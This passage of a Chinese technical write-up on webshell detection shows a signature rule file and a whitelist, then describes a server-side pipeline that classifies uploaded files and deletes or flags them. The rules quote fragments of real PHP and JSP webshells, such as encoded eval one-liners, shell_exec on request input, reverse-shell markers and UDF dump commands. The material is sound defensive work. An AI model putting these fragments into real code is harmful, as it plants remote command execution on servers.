            <ITEM><STR>TG9jYXRpb24</STR><NUM>79</NUM></ITEM>
            <ITEM><STR>base64_decode("4D5A90000300000004</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>0x4d5a4b45524e454c33322e444c4c00004c6f61644c6962726172794</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>langouster_udf.dll</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>urldecode("%6E1%7A%62%2F%6D%615%5C</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$b33 = $_SERVER['DOCUMENT_ROOT']</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>passthru($cmd)</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>PHP Web Shell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>P.h.p.S.p.y</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>PhpShell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>phpshell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>w4ck1ng</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>GIF89a</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>PhpSpy</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>_pass</STR><NUM>1</NUM></ITEM>
            <ITEM><STR>b374k</STR><NUM>79</NUM></ITEM>
            <ITEM><STR>milw0rm</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>c80</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>c100</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>STUNSHELL</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>FaTaLisTiCz</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Fx29SheLL</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>backdoor</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>back_connect</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>r57</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>Pr!v8</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>webadmin</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>PHPJackal</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>C80madShell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Ve_cENxShell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>ipconfig -all</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>cmd.exe /c</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>/bin/sh</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>c80shell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>NGHshell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Xgr0upVN</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>call_user_func</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>fsockopen</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>tools88.com</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>EgY_SpIdEr</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>XXDD0S</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>cha88.cn</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>SECFORCE</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>webshell</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>auto_prepend_file</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>Guama_</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Qingma_</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Antivirus_e</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Exec_g</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>admin_spiderpass</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>Shell (SPS-3.0)</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Spider PHP Shell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>SELECT cmd FROM a INTO DUMPFILE</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>net start Terminal Services</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>SELECT spider FROM Spider_Temp_Tab</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>base64_decode($back_connect</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>k1r4fsearch</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>fuckanquangoutezheng</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>'\'a\'eis','e'.'v'.'a'.'l'.'($g($b($enfile)))','a'</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>3vWW7F6DsceDRT0dKtBX2rqX5Fh9tJDJpG71Byr5Th6TsbPulbB8Gmg3</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>GUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lW</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$entry_line="HACKed by EntriKa";</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>cont=replace(cont,"href=""","href=""?gov.cn.")</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$dez = $pwddir."/".$real;</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>echo "FILE UPLOADED TO $dez"</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>"R0lGODlhWAKWAOf</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$ydosya2 = fopen("$ydosya", 'w')</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>fwrite($ydosya2, $kodlar)</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>cat /tmp/cmdtemp; rm /tmp/cmdtemp</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incdbpass=$mypass&incdbname=$col_value']]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>MyShell: can't change directory.\n$work_dir</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>if(get_magic_quotes_gpc())$shellOut=stripslashes($shellOut)</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>if(file_exists("c:\\windows\\system32\\"))$dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>WWW.XXDDOS.COM</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>JCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5P</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$liz0zim=shell_exec($_POST[liz0])</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAA</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>744zdMGn59wNZsz05tcH40pO/GcCgDzJj+e</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>((!isset($key))?($key=implode('`, `',array_keys($line))):null);</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>+dWMMMMMNm+,`+ltltlzz??+1lltltv+^.jdMMMMMMHA+</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>;@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>hYSMtmdpZNpy8ZY6hBlJJxBWSVC5FiGoIRJzgYAXAW</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Calistirmak istediginiz komutu buraya girin</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>@oOo00o0OOo0o000000O($_GET["pass"]</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>AAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>'.getenv("HTTP_HOST").' - Antichat Shell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>move_uploaded_file($userfile, "entrika.php"); </STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$curcmd = "cd ".$curdir.";".$curcmd</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>php passthru(getenv("HTTP_ACCEPT_LANGUAGE")); echo '</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>TDWGKJ3Ai1/BCtiO9grefEeAoU46gAwUDUuI4udXxGGoG</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>udp://$ooooo00oo0000oo0oo0oo00ooo0ooo0o0o0</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>mailto:crazy_king@turkusev.net</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>if (!empty($unset_surl)) {setcookie("c80sh_surl"); $surl = "";}</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$pro=$pro1.$pro2.$pro3.$pro4.$pro5.$pro6.$pro7.$pro8;</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>${'_'.$_}['_'](${'_'.$_}['__'])</STR><NUM>80</NUM></ITEM>
            <PHPRULE>
                <ITEM>[^\w](eval|assert|popen|proc_open|shell_exec|passthru)\(([^\(\),]*)(\$_GET|\$_COOKIE|\$_POST|\$_SESSION|\$_REQUEST)\[(.{1,20})\]\)</ITEM>
                <ITEM>[^\w](eval|assert|popen|proc_open|shell_exec|passthru|system|create_function)\(([^\(\)]*)stripslashes\((\$_GET|\$_POST|\$_COOKIE|\$_SESSION|\$_REQUEST)\[(.{1,20})\]\)</ITEM>
                <ITEM>strrev\(([^\(]*)edoced_46esab([^\(]*)\)</ITEM>
                <ITEM>fputs\(fopen\([^\(\)]*\),[^\(\)]*(\$_GET|\$_POST|\$_COOKIE|\$_SESSION|\$_REQUEST)\[(.{1,20})\]</ITEM>
                <ITEM>[^\>](\$_GET|\$_POST)\[[^\(\)\{\}\[\]]{0,8}\]\((\$_GET|\$_POST)\[</ITEM>
                <ITEM>[^\w]eval\((\$_GET|\$_POST)\[.{0,34}\]\)</ITEM>
                <ITEM>(chr.{1,50}){6}</ITEM>
                <ITEM>(0o){20}</ITEM>
            </PHPRULE>
        </WEBSHELL>
        <INFORMATION>
            <ITEM><STR>set_time_limit(999999</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>DDOS</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>SYN</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>phpddos</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>socket_create(AF_INET, SOCK_STREAM, SOL_TCP)</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>phpddos.com</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>fsockopen("tcp://</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>fsockopen("udp://</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>fsockopen("udp://</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>buyer_nick</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>receiver_mobile</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>receiver_address</STR><NUM>40</NUM></ITEM>
            <PHPRULE>
                <ITEM></ITEM>
            </PHPRULE>
        </INFORMATION>
        <SEO>
            <ITEM><STR>$html = file_get_contents($url, false, $context)</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>'content.txt'</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>'key.txt'</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>file_get_contents</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>set_time_limit(9999</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>if(!file_exists(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>mkdir($</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>mt_rand</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>fopen</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>str_replace</STR><NUM>20</NUM></ITEM>
            <PHPRULE>
                <ITEM></ITEM>
            </PHPRULE>
        </SEO>

        <EXT>
            <ITEM>.php</ITEM>
            <ITEM>.php4</ITEM>
            <ITEM>.php5</ITEM>
            <ITEM>.inc</ITEM>
        </EXT>        
        <ADDITIONALRULL>
            <WEBSHELL>
                <ITEM>
                    <STR>chr(99).chr(104).chr(114)</STR>
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>$_REQUEST</STR>
                    <NUM>80</NUM>
                </ITEM>    
                <ITEM>
                    <STR>array_map(</STR>
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>stop_</STR>
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>PCT4BA6ODSE_</STR>  <!-- 利用数组生成_POST和BASE64_DECODE-->
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>array_walk</STR>
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>\x65\x76\x61\x6c</STR>
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>/*-/*-*/</STR>  <!-- 利用注释绕过 -->
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>substr</STR>
                    <NUM>80</NUM>
                </ITEM>
                <ITEM>
                    <STR>http://www.phpdp.org</STR>
                    <NUM>80</NUM>
                </ITEM>
                
                </PHPRULE>
                    <ITEM>["']?[aA]["']?\.?["']?[sS]["']?\.?["']?[sS]["']?\.?["']?[eE]["']?\.?["']?[rR]["']?\.?["']?[tT]["']?</ITEM>
                    <ITEM>["']?[eE]["']?\.?["']?[vV]["']?\.?["']?[aA]["']?\.?["']?[lL]["']?</ITEM>
                    <ITEM>["']?_["']?\.?["']?[pP]["']?\.?["']?[oO]["']?\.?["']?[sS]["']?\.?["']?[tT]["']?</ITEM>
                    <ITEM>["']?[Ss]["']?\.?["']?[tT]["']?\.?["']?[Rr]["']?\.?["']?_["']?\.?["']?[rR]["']?\.?["']?[eE]["']?\.?["']?[pP]["']?\.?["']?[lL]["']?\.?["']?[aA]["']?\.?["']?[cC]["']?\.?["']?[eE]["']?</ITEM>
                    <ITEM>["']?[pP]["']?\.?["']?[rR]["']?\.?["']?[eE]["']?\.?["']?[gG]["']?\.?["']?_["']?\.?["']?[rR]["']?\.?["']?[eE]["']?\.?["']?[pP]["']?\.?["']?[lL]["']?\.?["']?[aA]["']?\.?["']?[cC]["']?\.?["']?[eE]["']?</ITEM>
                    <ITEM>["']?[eE]["']?\.?["']?[xX]["']?\.?["']?[eE]["']?\.?["']?[cC]["']?</ITEM>
                    <ITEM>["']?[pP]["']?\.?["']?[oO]["']?\.?["']?[pP]["']?\.?["']?[eE]["']?\.?["']?[nN]["']?</ITEM>
                    <ITEM>["']?[sS]["']?\.?["']?[yY]["']?\.?["']?[sS]["']?\.?["']?[tT]["']?\.?["']?[eE]["']?\.?["']?[mM]["']?</ITEM>
                    <ITEM>["']?[pP]["']?\.?["']?[aA]["']?\.?["']?[sS]["']?\.?["']?[sS]["']?\.?["']?[tT]["']?\.?["']?[hH]["']?\.?["']?[rR]["']?\.?["']?[uU]["']?</ITEM>
                    <ITEM>["']?[pP]["']?\.?["']?[rR]["']?\.?["']?[oO]["']?\.?["']?[cC]["']?\.?["']?_["']?\.?["']?[oO]["']?\.?["']?[pP]["']?\.?["']?[eE]["']?\.?["']?[Nn]["']?</ITEM>
                    <ITEM>["']?[Ss]["']?\.?["']?[hH]["']?\.?["']?[eE]["']?\.?["']?[lL]["']?\.?["']?[lL]["']?\.?["']?_["']?\.?["']?[eE]["']?\.?["']?[xX]["']?\.?["']?[eE]["']?\.?["']?[cC]["']?</ITEM>
                </PHPRULE>
            </WEBSHELL>
        </ADDITIONALRULL>
    </PHP>

    <JAVA>
        <WEBSHELL>
            <ITEM><STR>n1nty</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>request.getParameter("f"))).write(request.getParameter("t").getBytes()</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>request.getParameter("path")</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>request.getRealPath(request.getServletPath())</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>Command Window</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>JSP Manage-System</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>JspSpy</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>net localgroup</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>cmd.exe</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>Jfolder</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>jshell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>pwnshell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>ServerSocket(</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>jsp File browser</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>/bin/sh</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>Backdoor</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>Runtime.getRuntime()</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>.exec(</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>cmd /c</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>"cmd", "/C"</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>kj021320</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>fuckanquangoutezheng</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n"]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>javascript:delFile('"+folderReplace(file)+"')</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>rt.exec("cmd.exe")</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>JSP Backdoor Reverse Shell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>"\"" + boundary + "\" is an illegal boundary indicator"</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$Id: TelnetIO.java,v 1.10 1808/02/09 10:22:18 leo Exp $</STR><NUM>80</NUM></ITEM>
            <JSPRULE>
            <ITEM></ITEM>
            </JSPRULE>
        </WEBSHELL>
        <INFORMATION>
            <ITEM></ITEM>
            <JSPRULE>
            <ITEM></ITEM>
            </JSPRULE>
        </INFORMATION>
        <SEO>
            <ITEM></ITEM>
            <JSPRULE>
            <ITEM></ITEM>
            </JSPRULE>
        </SEO>

        <EXT>
            <ITEM>.jsp</ITEM>
        </EXT>
    </JAVA>

    <SCRIPT>
        <WEBSHELL>
            <ITEM><STR>buyer_nick</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>receiver_mobile</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>receiver_address</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>backdoor</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>PORT SCANNER</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>DDOS</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>Scanning $host</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>nc -vv -l</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>IO::Socket</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>connect(</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>system(</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>sys/ioctl.ph</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>/bin/sh</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>use Socket</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>open(STDIN</STR><NUM>30</NUM></ITEM>
            <SCPRULE>
            <ITEM></ITEM>
            </SCPRULE>
        </WEBSHELL>

        <INFORMATION>
            <ITEM></ITEM>
            <SCPRULE>
            <ITEM></ITEM>
            </SCPRULE>
        </INFORMATION>
        <SEO>
            <ITEM></ITEM>
            <SCPRULE>
            <ITEM></ITEM>
            </SCPRULE>
        </SEO>

        <EXT>
            <ITEM>.pl</ITEM>
            <ITEM>.py</ITEM>
            <ITEM>.sh</ITEM>
        </EXT>
    </SCRIPT>
</LEX>

0x2: Server检测: 检测准确能力

客户端将疑似WEBSHELL文件上报到服务端之后，服务端的检测思想是进行细粒度的检测，通过精简化、缩小规则范围，识别出100%确定是WEBSHELL的文件，大致检测流程如下

//从客户端上报的疑似WEBSHELL文件大概有300w的数量级
1. 根据文件后缀，加载对应的规则
    1) PHP WEBSHELL
        1.1) .php
        1.2) .php4 
        1.3) .php5 
        1.4) .inc 
    2) ASP WEBSHELL
        2.1) .asp
        2.2) .asa
        2.3) .cer
        2.4) .cdx
        2.5) .aspx
        2.6) .jpg 
        2.7) .bmp 
        2.8) .jpeg 
        2.9) .png 
        2.10) .gif 
        2.11) .htr 
        2.12) .hdx 
        2.13) .asmx 
        2.14) .ashx 
    3) JSP WEBSHELL
        3.1) .jsp 

2. 通过白名单进行一次过滤，这个名单是根据安全人员经验总结出的规则，命中这些规则的文件一定是正常文件，即服务端检测流程的第一步是过滤掉大部分的误报，如果命中了白名单，则判断流程直接退出，结束判断。这一步的策略是进行正常文件分类(正向分类效果较好)
/*
<whitelist>
    <threshold>70</threshold>
    <ITEM>STR>Web Framework Event Handlers</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>IISLogFileGUIDToENName</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>!--#include file="</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>require(dirname(__FILE__)</STR><NUM>20</NUM></ITEM>
    <ITEM><STR>"../inc/</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>WScript\.shell|PHP\s?Shell|Eval\sPHP\sCode</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>thinkphp.cn All rights reserved</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>Public GIF89a</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>base64_decode|\beval\(gzdecode|\beval\((\$_POST|\$_GET|\$_COOKIE)</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>KFwkXyhHRVR8UE9TVHxDT09LSUV8UkVRVUVTVCkp</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>require_lib('util/web_util,util/db_util', true)</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>require_once __DIR__.'/../</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>include("../../</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>ImageMagick</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>pdf2htmlEX</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>require("../</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>GIF frame counter</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>include file="../</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>config/</STR><NUM>20</NUM></ITEM>
    <ITEM><STR>"GIF89a</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>\s*?\\$(_POST|_GET|_REQUEST|GLOBALS</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>beval\(gzdecode|\beval\((\$_POST|\$_GET|\$_COOKIE)</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>'GIF89a</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>www.ajiang.net</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>http://www.ajiang.net/products/aspcheck/safe.asp</STR><NUM>70</NUM></ITEM> 
    <ITEM><STR>Standard Jet DB</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>www.itlearner.com</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>defined('DIR_SECURE_CONTENT')</STR><NUM>40</NUM></ITEM>
    <ITEM><STR>$GLOBALS['_beginTime']</STR><NUM>40</NUM></ITEM>
    <ITEM><STR><![CDATA[
        <table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">
        ]]></STR><NUM>70</NUM></ITEM>
    <ITEM><STR>run-tests.php</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>dim virus(1,7),virus_Regx(1,4)</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>href="http://7i24.com</STR><NUM>70</NUM></ITEM>
    <ITEM><STR><![CDATA[<!--#include file = "../]]></STR>aa<NUM>70</NUM></ITEM> 
    <ITEM><STR>| PHP Version 5</STR><NUM>70</NUM></ITEM>
    <ITEM><STR><![CDATA[<!--#include file =]]></STR><NUM>70</NUM></ITEM>
    <ITEM><STR>require_once('include</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>* @author</STR><NUM>20</NUM></ITEM>
    <ITEM><STR>* @license</STR><NUM>10</NUM></ITEM>
    <ITEM><STR>* @copyright</STR><NUM>20</NUM></ITEM>
    <ITEM><STR>#include file="</STR><NUM>70</NUM></ITEM>
    <ITEM><STR> ThinkPHP</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>License: GPLv2</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>.save(request.getParameter("top_session")</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>GIFDecoder</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>exit('Access Denied')</STR><NUM>30</NUM></ITEM>
    <ITEM><STR>if(!defined(</STR><NUM>20</NUM></ITEM>
    <ITEM><STR>if (!defined('THINK_PATH')) exit()</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>= microtime(TRUE);</STR><NUM>30</NUM></ITEM>
    <ITEM><STR>www.nusphere.com</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>$code_generated = new $_GET['code']($_GET['t'],$color_black</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>http://php.net/manual/ru/function.exec.php</STR><NUM>70</NUM></ITEM>
    <ITEM><STR><![CDATA[<!--#include virtual="/ucenter/config/md5.asp"-->]]></STR><NUM>50</NUM></ITEM>
    <ITEM><STR>->"e"."v"."a"."l"'=>'"e"."v"."a"."l"',</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>->webshell'=>'webshell',</STR><NUM>70</NUM></ITEM>
    <ITEM><STR><![CDATA[
        shellcode[]=&nbsp;<br>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
        ]]></STR><NUM>70</NUM></ITEM>
    <ITEM><STR>response.Write(987651234-123498765)</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>Znothis(</STR><NUM>70</NUM></ITEM>
    <ITEM><STR>private $webscan_upload="http://upload.webscan.360.cn/index.php";</STR><NUM>70</NUM></ITEM>
</whitelist>
*/

3. 通过白名单过滤逻辑之后，开始逐步提高检测粒度，从这一步开始，开始逐步采取"反向分类思路"，即开始对恶意WEBSHELL进行聚类
最终的检测结果是: YES_WEBSHEL
//YES_WEBSHEL的规则是针对不同文件类型独有的
    3.1. 如果疑似文件已经通过YES_WEBSHELL的判断，则此时进入"反向恶意WEBSHELL"聚类的最后阶段，即用更加严格，一定能代表WEBSHELL的规则，这一步的聚类是在上一步YES_WEBSHELL聚类的基础上进行的，最终的结果是: DELETE_WEBSHELL
    //DELETE_WEBSHELL规则是全局的
    3.2. 如果DELETE_WEBSHELL未命中，则当前文件继续保持在YES_WEBSHELL状态，即保持高危状态
/*
1. 最终判断为DELETE_WEBSHELL状态的文件的数量级为200+ 
*/

4. SEO检测

5. 如果YES_WEBSHELL检测失败，则标记为: NOT_WEBSHELL，对于这类文件，则将文件推送到PHP Sandbox中，目前只针对PHP文件，Sandbox会根据动态执行结果返回多种细化的检测结果状态，SERVER根据1:N映射关系进行规范化
    1) YES_WEBSHELL
        1.1) REGEX_FOUND
        1.2) CONTENT_FOUND
        1.3) DELETE_MATCH
        1.4) GPC_HIT
        1.5) REGEX_FOUND_216
        1.6) CONTENT_FOUND_216
        1.7) GPC_HIT_216
    2) DELETE_WEBSHELL
        2.1) REGEX_FOUND_216
        2.2) CONTENT_FOUND_216
        2.3) GPC_HIT_216
//传输给PHP Sandbox的文件数据量大概有50w数量级

6. 全部判断逻辑完成后，进入服务端的ACTION逻辑，即根据判断结果采取不同的文件操作(删除、告警)
    1) 一句话WEBSHELL: 如果文件为纯粹的一句话木马，则直接删除
    /*
    1. pattern: (eval|execute|assert)[^>]*(request|post|get|cookie|\\$_)
    2. lenth: < 80
    3. ext = aspx || lenth < 150
    */
    2) SEO: 删除SEO文件
    3) MD5 LIST:检测存在在blacklist黑名单中的文件，这个黑名单来自于判定为YES_WEBSHELL的高疑似文件，由安全团队在banff上人工确认后，点击确认验证后，会添加到MD5 LIST中
    4) YES_WEBSHELL: 产生高疑似告警状态，并打标为"待验证"，待安全团队验证
    5) DELETE_WEBSHELL: 直接向客户端发送删除删除指令

